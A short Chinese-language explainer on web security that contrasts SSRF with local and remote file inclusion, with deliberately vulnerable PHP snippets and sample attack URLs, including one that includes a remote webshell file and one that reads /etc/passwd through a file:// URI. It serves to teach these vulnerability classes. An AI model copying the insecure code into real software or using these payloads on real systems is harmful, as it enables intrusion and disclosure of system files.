比較SSRF與LFI/RFI

LFI/RFI漏洞與SSRF漏洞表徵看起來相似,探討三個漏洞的區別。

一些相關漏洞

Path Traversal

也可以叫 Directory traversal,中譯路徑遊走、路徑遍歷,或者講目錄遍歷等說法。細節可以參考 CWE-23: Relative Path Traversal 已經夠詳細。

任意讀檔

在 php 中可以使用 file_get_contents() 的函數讀取檔案內容,但是這並不會讓讀入的文件被 php 解釋執行。

本地檔案包含

Local File Inclusion (LFI), 若客戶端可控制網頁包含本地文件,可能有LFI漏洞。

https://vulnerablesite.com/lfi.php?page=index.php

代碼

<?php
  if (isset($_GET['page']))
    include('php/' . $page);
?>

遠程檔案包含

Remote File Inclusion (RFI), 類似LFI漏洞但是允許包含遠程文件。

https://vulnerablesite.com/rfi.php?page=http://example.com/webshell.txt

代碼

<?php
  if (isset($_GET['page']))
    include($page);
?>

伺服器端請求偽造

Server-Side Request Forgery (SSRF), 透過伺服器發出各種協議的請求來執行惡意行為,並且可以控制URI 如http://file://ssh2://ftp://等。

https://vulnerablesite.com/ssrf.php?uri=https://example.com/img1.png
https://vulnerablesite.com/ssrf.php?uri=file:///etc/passwd

代碼

<?php
  if (isset($_GET['uri']))
    echo file_get_contents($_GET['uri']);
?>

比較

RFI/LFI漏洞與SSRF漏洞本質上是不同的東西, RFI為包含遠程文件而SSRF為發出請求, php的include支援偽協議,可以執行SSRF攻擊。

參考


Web安全 Vulnerability